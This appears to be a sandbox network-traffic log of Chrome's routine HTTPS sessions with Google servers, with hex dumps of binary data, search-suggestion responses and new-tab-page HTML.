2024-11-24 03:20:27 UTC	16384	IN	Data Raw: fe 71 56 24 1b 2d de 49 3e 58 d7 ef bb fd d4 c7 bd 0c 36 c8 8a de 5e e6 fb 9f ed e6 a7 98 af 66 8a fe 4f f9 c5 1e 4f f9 c5 43 ac 6b 1a 46 91 1b ff 00 6b 6b 5a 6d 86 d4 dd b2 e2 e9 55 b6 ff 00 ba 79 ae 4a fb e3 07 80 ad e4 db 0e a5 77 79 ff 00 5e 96 ad b5 ff 00 17 db 4b da 25 bb 1f b2 3b 3f 27 fc e2 9c b1 57 95 ea 1f 1d 74 f5 df fd 9f e1 7b e9 7f db bb ba 8e 2f fd 07 75 67 49 f1 e6 f9 a7 db 1f 85 ec 62 5f fa 6d a8 b7 fe ca b4 bd b4 7b 8b d9 9e cd e5 d2 ec db f7 ab c4 64 f8 e3 e2 c7 83 74 3e 17 d2 95 9b 72 a3 a4 f2 4a bb bf 0a 2d fe 32 78 cd ad 5e 4b ad 33 43 b5 ff 00 7e 09 3f f8 e5 43 c4 d3 5d 4d 23 42 4f 64 7b 92 a5 71 7f 1c 07 8e 1f c2 b3 5a f8 1e 0b 1b 8b 86 85 be dd 15 df 99 17 9d 09 f9 36 c5 70 ac 3c a9 3e f7 38 6a f3 dd 43 e3 2f 8a 9a 37 85 67 d1 ec Data Ascii: qV$-I>X6^fOOCkFkkZmUyJwy^K%;?'Wt{/ugIb_m{dt>rJ-2x^K3C~?C]M#BOd{qZ6p<>8jC/7g
2024-11-24 03:20:27 UTC	16384	IN	Data Raw: 90 9d 63 a0 d4 12 55 8f ce 8e ee 48 b6 fd f4 fe 1a c9 9b 54 d4 e0 fd dc 70 6e 8d b6 ff 00 1f f0 fd 3a d2 e9 ba ac f0 48 ed 24 7e 6f fc 0f 6d 1a b5 cf da 2e bf d1 e3 91 55 b6 b7 c9 fc 1e b5 31 c3 b8 bf 78 ce 55 6e ae 8c cd 4a 5b 99 67 7f 33 cc 56 6d bf 22 7f 76 a9 db c5 b6 b5 2f a2 b9 97 e6 69 24 b8 ff 00 6d 2a 6b 7d 22 54 d8 d7 5f ba dd fe ed 75 42 36 47 1c ae d9 1e 93 2b 5b c8 ed fe a9 7f 8d f6 2b 56 ad 9d bc 1f 6a 85 6e 20 93 51 93 67 fa 97 76 55 4e fd 14 fe 94 cf 2f 4f 82 34 8e 19 24 95 99 3f 7d bd 17 6e ea b1 63 6f a7 ad d2 7f af 95 77 ff 00 bb 57 18 ea 0e 4d 23 5b 47 b2 b3 82 74 be 9b 45 b1 ba 93 ee bd a3 a3 79 0f f3 7c c7 e4 fb ad fe ed 63 f8 8b c3 9a 2f 8b e4 be 8d b5 2b ad 1a 6b 0b b5 df 63 0e 97 24 b6 68 c3 e5 56 82 47 2c fc 47 bf af cb e6 73 85 Data Ascii: cUHTpn:H$~om.U1xUnJ[g3Vm"v/i$m*k}"T_uB6G+[+Vjn QgvUN/O4$?}ncowWM#[GtEy\|c/+kc$hVG,Gs
2024-11-24 03:20:27 UTC	16384	IN	Data Raw: f6 5a 9d ec 63 65 f2 2c 7f 75 77 2f fc 05 bf c2 b4 61 8f fd 2b cb 68 f6 fc 9b ab 22 49 ed a2 be f2 d6 ee 39 5b 7e e4 74 fe 35 db 91 b5 ba 1f f3 de a9 6a 5e 2d b6 83 5c b1 ba 9b cc 5d 36 5d ca f7 7f 2b 2a 36 ec 21 35 9a cc b5 b5 f5 2f d8 79 1a 5a a6 b9 67 61 6b 0e a0 d7 7b ac e5 9a 15 fb 9b 59 19 db 66 1b 3e fe dc 53 1b 54 df 63 70 cb f2 ad ab b3 3b be ef bc 1b ee ff 00 df 35 e7 3a 96 8d 2d ae ab a8 6a d3 5d fd b3 47 b5 d5 17 ed 70 c2 ff 00 ba 86 37 6f 95 e4 7e 3e 50 dc 65 41 da d8 f5 ae c7 4f f1 0d 8f cf e4 db c8 b0 de 6e 57 f3 a7 56 de db 89 57 f9 47 dd db fa 56 75 73 3a 9a 2e 81 1a 31 2f c9 ac 45 a8 f8 82 df c9 93 75 be c5 6d 89 fc 6d b8 ff 00 fa ff 00 e0 35 47 c6 17 1a ae 8d ae 4d 36 8b 27 d9 ed 75 24 f3 ee f6 41 b7 f7 9d 17 f7 9c ff 00 86 3e b4 6b 12 Data Ascii: Zce,uw/a+h"I9[~t5j^-\]6]+*6!5/yZgak{Yf>STcp;5:-j]Gp7o~>PeAOnWVWGVus:.1/Eumm5GM6'u$A>k
2024-11-24 03:20:28 UTC	16067	IN	Data Raw: 41 21 23 cc 59 83 f5 e1 54 06 c9 ae ba 39 d3 8d 29 ca b4 39 db 8b bb db 47 ab df 6d f6 fc 88 9e 52 ef 05 19 72 a5 25 6f 55 6b 2f c3 fe 1c 5d 78 c8 9e 22 58 fe cb 1c ad bd a7 de 8e df b9 9b 6e e2 41 eb ed f7 bd e8 d1 4c 4d aa a2 ea 57 72 5d 48 d3 46 c8 f7 69 bb c9 c3 70 db fa ae de c3 6e 3d e9 3c 49 a4 6a 7a 5e a5 0c 7a f4 71 d8 4c af b9 fc 97 93 e4 64 67 f9 9d 59 b3 f4 28 4e 7d 6a e5 bf f6 9e 8d 7c aa b6 89 7e d1 24 93 ba 5d c7 34 f0 3c 6f f7 2e 03 01 db ef 61 b7 86 ef 5e ce 03 3b c0 62 f0 1e ce 3f 12 8e cf aa 49 6a ad ba fe 99 11 c1 e2 b0 d8 c4 e7 2b c2 4d df b6 b7 fc 4d 4d 26 3b 9d 26 c7 56 d1 66 b0 d3 75 6b 3b 89 bf d2 3c 9b e5 dd 0c 88 cf 89 51 b3 bd 18 ff 00 2a ab ab e9 3a 62 df a3 5a df 41 67 6f 70 8b 24 36 f7 2f 24 ac ff 00 bb de ea ae a3 e7 0a dc Data Ascii: A!#YT9)9GmRr%oUk/]x"XnALMWr]HFipn=<Ijz^zqLdgY(N}j\|~$]4<o.a^;b?Ij+MMM&;&Vfuk;<Q*:bZAgop$6/$
2024-11-24 03:20:28 UTC	16384	IN	Data Raw: ee d6 4f 89 b5 59 e7 f0 fd f5 be 83 7f ff 00 13 06 85 96 de 64 fb a8 df ef 30 23 f4 6a ce 5c 91 57 65 43 9e 4e cb 53 e6 5f 8e 1e 04 f1 7e 8d 07 89 35 2d 07 ec 31 69 f7 53 5c 6c b6 48 21 ba 9f ed 12 28 69 86 cd a7 63 2a ee 3b 8f 2a 3e b5 e4 b6 76 0d a3 78 72 dd 56 ef 4d f3 99 3f da 66 7c af 3f 2f f0 7d 7b d7 ae fc 7a f1 a6 b5 a5 c7 35 8d ac 7f d8 d6 73 eb 9b ae de c6 06 59 ef 6e 3c b1 e7 4e d2 e4 7c bb 97 8e 17 95 f4 af 1a d5 23 fb 54 e9 b7 56 fb 55 ad c4 b2 5c dc 3d c7 cb fb b0 b8 ce ff 00 ef 96 fd 6b e6 2a d4 84 a5 ee 3d 2e 7a 13 52 5a 49 6b 63 9b f2 60 d3 75 19 a4 f3 37 6d 85 65 44 fb cb b8 fd ee dc d7 41 f0 e7 5f fb 05 f2 43 71 24 9f 3c de 55 bf 9d b7 ca 48 4a 9f 94 f7 fb dd eb 95 d2 6e 60 8b ed 16 ba 94 72 4b 22 a6 db 44 7d df 22 f9 9f 36 ee 9b be 5a Data Ascii: OYd0#j\WeCNS_~5-1iS\lH!(ic;>vxrVM?f\|?/}{z5sYn<N\|#TVU\=k*=.zRZIkc`u7meDA_Cq$<UHJn`rK"D}"6Z
2024-11-24 03:20:28 UTC	16384	IN	Data Raw: 4f 33 4d 16 e5 cd 43 40 b3 7d 37 6c 7f 6a 5d a9 b5 de 6f 9b 64 83 ef 6d 38 1f 2d 73 37 5a 7b 59 6c fb 47 ca df c6 8f 5a 5a d6 b1 aa cb 75 b6 ea ef e5 57 6f b8 ff 00 2b e7 da b0 6f 9d a5 9d e6 69 24 66 6f bf be bb 69 f3 2d c9 24 f2 2d 9e 44 fd e6 d6 ad 2f 0d bc 56 ba 8c 3b 6e 36 cd bf 72 4d bd 97 66 2b 09 9d 97 66 da d3 f0 ed a4 f3 df 24 de 5f ee e2 f9 9e b5 92 ba 26 5b 1a fa c5 bc af 3c df 6a 92 49 6e 1a 66 67 7d fb b7 e7 9f bd fc 59 ac 1b cb 29 6d 6e bc b9 23 92 26 fb d5 b3 34 eb 3c ee cd bd 57 7f c9 fd e4 a8 e6 3e 6e b9 0a c3 77 e6 af d9 fe fc c8 ab f8 71 53 1d 11 25 3d 27 cf fd f4 d7 5f 77 67 df 7a 8f 52 9d ae 23 85 be cf 02 ed f9 7e 44 fb ff 00 5a b7 e2 49 d6 de 4b 7b 58 7e 56 d9 fe 91 b1 fe 57 63 55 2e 24 ff 00 45 f2 7f ba fb 92 ae f7 03 5b 43 bf 9f Data Ascii: O3MC@}7lj]odm8-s7Z{YlGZZuWo+oi$foi-$-D/V;n6rMf+f$_&[<jInfg}Y)mn#&4<W>nwqS%='_wgzR#~DZIK{X~VWcU.$E[C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49758	142.250.181.100	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 03:20:29 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:28 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-HfDMgMVSg5rEZcgwQyMAWA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 03:20:29 UTC	124	IN	Data Raw: 31 30 31 37 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 73 74 72 69 64 20 63 61 73 74 69 6e 67 20 6c 69 76 65 20 61 63 74 69 6f 6e 22 2c 22 64 69 73 6e 65 79 20 64 72 65 61 6d 6c 69 67 68 74 20 76 61 6c 6c 65 79 22 2c 22 6a 75 61 6e 20 73 6f 74 6f 20 6e 79 20 6d 65 74 73 22 2c 22 70 65 74 65 72 20 63 61 6e 63 72 6f 22 2c 22 61 65 77 20 66 75 6c 6c 20 67 65 61 72 20 32 30 Data Ascii: 1017)]}'["",["astrid casting live action","disney dreamlight valley","juan soto ny mets","peter cancro","aew full gear 20
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 32 34 20 63 61 72 64 22 2c 22 63 68 72 69 73 74 6d 61 73 20 74 72 65 65 20 6c 69 67 68 74 69 6e 67 20 6d 69 6c 6c 65 6e 6e 69 75 6d 20 70 61 72 6b 22 2c 22 79 6f 75 74 75 62 65 20 67 61 6d 69 6e 67 20 72 65 63 61 70 22 2c 22 6e 65 77 20 79 6f 72 6b 20 6b 6e 69 63 6b 73 20 76 73 20 75 74 61 68 20 6a 61 7a 7a 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 Data Ascii: 24 card","christmas tree lighting millennium park","youtube gaming recap","new york knicks vs utah jazz"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:s
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 57 70 5a 62 45 68 50 64 33 4d 31 53 6d 5a 33 53 47 46 6f 61 47 68 78 4e 6d 31 72 56 33 46 6f 56 31 68 57 65 56 70 53 4e 32 68 43 4e 6d 59 79 53 6a 4d 34 64 57 68 34 4e 6b 56 35 57 45 35 68 56 45 39 4c 52 6d 46 74 61 6d 49 7a 5a 57 70 4a 5a 47 31 52 4b 31 4a 48 53 32 45 30 57 6e 6f 78 53 58 56 46 59 57 70 4c 53 32 70 4c 4e 6d 52 78 63 57 56 53 56 45 4e 35 51 57 30 30 4e 30 55 76 54 58 56 33 52 6e 52 30 4b 32 35 58 4e 32 70 33 5a 47 35 53 65 57 70 4f 4e 47 35 61 4e 31 55 77 65 45 56 6a 4e 45 6f 79 63 32 56 71 5a 6c 45 33 4b 32 77 34 53 6e 5a 76 5a 48 4e 48 4f 48 68 79 4e 43 74 34 65 57 5a 43 59 58 56 6a 4e 58 42 54 4e 56 42 52 64 6c 59 78 63 6a 4a 53 5a 47 64 76 4d 30 78 75 65 55 46 34 55 30 64 6d 56 6b 31 57 5a 46 42 51 55 46 51 77 59 56 55 32 55 7a 4e 4c Data Ascii: WpZbEhPd3M1SmZ3SGFoaGhxNm1rV3FoV1hWeVpSN2hCNmYySjM4dWh4NkV5WE5hVE9LRmFtamIzZWpJZG1RK1JHS2E0WnoxSXVFYWpLS2pLNmRxcWVSVEN5QW00N0UvTXV3RnR0K25XN2p3ZG5SeWpONG5aN1UweEVjNEoyc2VqZlE3K2w4SnZvZHNHOHhyNCt4eWZCYXVjNXBTNVBRdlYxcjJSZGdvM0xueUF4U0dmVk1WZFBQUFQwYVU2UzNL
2024-11-24 03:20:29 UTC	1223	IN	Data Raw: 77 4f 47 35 4b 63 47 39 76 61 48 70 75 54 45 68 56 63 55 46 4e 55 6e 56 6c 63 6b 46 75 4e 44 64 59 64 30 4a 71 56 6e 68 71 54 6c 46 33 59 56 64 46 55 43 38 76 57 6a 6f 59 52 47 6c 7a 62 6d 56 35 49 45 52 79 5a 57 46 74 62 47 6c 6e 61 48 51 67 56 6d 46 73 62 47 56 35 53 67 63 6a 4e 47 59 30 4d 57 45 7a 55 6b 74 6e 63 31 39 7a 63 33 41 39 5a 55 70 36 61 6a 52 30 56 6c 41 78 65 6d 4d 77 54 45 78 52 63 31 4e 55 52 54 4e 4d 56 45 31 36 57 56 42 54 55 31 4e 4e 61 33 4e 36 61 33 56 30 56 6b 56 6e 63 46 4e 72 4d 30 31 36 59 32 78 4e 65 6e 6c 6f 55 6b 74 46 64 6b 31 35 56 57 31 30 51 6b 46 42 54 47 31 52 4d 32 31 77 42 41 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a Data Ascii: wOG5KcG9vaHpuTEhVcUFNUnVlckFuNDdYd0JqVnhqTlF3YVdFUC8vWjoYRGlzbmV5IERyZWFtbGlnaHQgVmFsbGV5SgcjNGY0MWEzUktnc19zc3A9ZUp6ajR0VlAxemMwTExRc1NURTNMVE16WVBTU1NNa3N6a3V0VkVncFNrM016Y2xNenloUktFdk15VW10QkFBTG1RM21wBA\u003d\u003d","zl":10002},{"zl":10002},{"google:
2024-11-24 03:20:29 UTC	90	IN	Data Raw: 35 34 0d 0a 47 74 46 59 7a 56 6f 61 44 4e 35 5a 45 5a 4d 5a 44 4a 6f 55 47 34 31 62 6a 68 56 52 7a 46 6f 4e 44 52 43 52 6d 4e 59 52 47 56 50 56 6d 52 34 65 69 39 47 54 6c 68 33 4f 56 4d 77 4d 58 56 54 4b 31 63 35 64 44 52 77 61 30 4e 4c 57 58 64 33 4e 56 68 72 4e 0d 0a Data Ascii: 54GtFYzVoaDN5ZEZMZDJoUG41bjhVRzFoNDRCRmNYRGVPVmR4ei9GTlh3OVMwMXVTK1c5dDRwa0NLWXd3NVhrN
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 37 37 33 0d 0a 58 67 34 64 57 39 78 64 6e 49 7a 57 56 64 4d 56 7a 64 35 4e 48 4e 79 53 7a 52 68 4d 30 64 75 63 55 52 44 61 6b 56 30 64 6b 4a 43 4e 45 78 49 61 32 52 43 65 6e 70 54 53 6c 42 75 59 6b 52 53 4b 30 74 53 62 56 46 79 4d 57 70 6f 55 32 56 31 51 6c 68 33 63 57 55 77 51 55 31 33 52 47 52 44 51 30 52 75 4d 6d 39 6f 4d 6b 73 77 56 30 39 36 4f 58 56 55 59 58 6c 31 55 6a 46 5a 52 45 35 51 64 6c 6f 72 53 47 46 33 4e 45 64 51 54 44 46 77 55 54 42 68 4d 57 52 79 51 56 4a 4a 64 7a 68 6a 63 6b 68 34 5a 45 31 42 4e 45 64 68 53 56 4e 58 61 33 56 71 4d 30 31 47 4d 57 49 7a 56 48 6c 55 54 6b 6f 30 4d 46 70 6a 51 6c 59 72 4c 33 5a 56 4d 79 73 79 55 32 68 68 61 57 78 53 63 55 56 4e 57 47 56 53 4f 44 68 42 51 32 78 36 64 45 68 69 61 6a 6c 45 59 30 78 4b 61 47 78 Data Ascii: 773Xg4dW9xdnIzWVdMVzd5NHNySzRhM0ducURDakV0dkJCNExIa2RCenpTSlBuYkRSK0tSbVFyMWpoU2V1Qlh3cWUwQU13RGRDQ0RuMm9oMkswV096OXVUYXl1UjFZRE5QdlorSGF3NEdQTDFwUTBhMWRyQVJJdzhjckh4ZE1BNEdhSVNXa3VqM01GMWIzVHlUTko0MFpjQlYrL3ZVMysyU2hhaWxScUVNWGVSODhBQ2x6dEhiajlEY0xKaGx
2024-11-24 03:20:29 UTC	524	IN	Data Raw: 70 42 52 6b 49 31 4f 48 67 32 56 6d 31 4b 61 6b 52 71 53 58 49 32 53 58 70 58 4f 47 39 73 5a 32 74 6c 53 31 4a 6d 4c 30 78 34 63 31 5a 5a 5a 58 68 47 56 31 52 76 54 7a 6c 75 4c 7a 4a 52 50 54 30 36 44 46 42 6c 64 47 56 79 49 45 4e 68 62 6d 4e 79 62 30 6f 48 49 7a 63 31 4d 6a 6b 7a 4d 31 49 33 5a 33 4e 66 63 33 4e 77 50 57 56 4b 65 6d 6f 30 64 45 78 51 4d 56 52 6d 53 55 31 35 62 55 70 4d 4e 6d 74 35 57 56 42 55 61 55 74 56 5a 33 52 54 55 7a 46 54 55 30 55 33 54 56 4e 35 4e 30 74 43 64 30 4a 31 64 57 64 70 64 33 41 47 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 Data Ascii: pBRkI1OHg2Vm1KakRqSXI2SXpXOG9sZ2tlS1JmL0x4c1ZZZXhGV1RvTzluLzJRPT06DFBldGVyIENhbmNyb0oHIzc1MjkzM1I3Z3Nfc3NwPWVKemo0dExQMVRmSU15bUpMNmt5WVBUaUtVZ3RTUzFTU0U3TVN5N0tCd0J1dWdpd3AG","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:sugges
2024-11-24 03:20:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49761	142.250.181.100	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49759	142.250.181.100	443	7864	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:28 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 03:20:29 UTC	1018	IN	HTTP/1.1 200 OK Version: 698289427 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 24 Nov 2024 03:20:28 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-24 03:20:29 UTC	372	IN	Data Raw: 32 30 30 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2000)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-24 03:20:29 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" 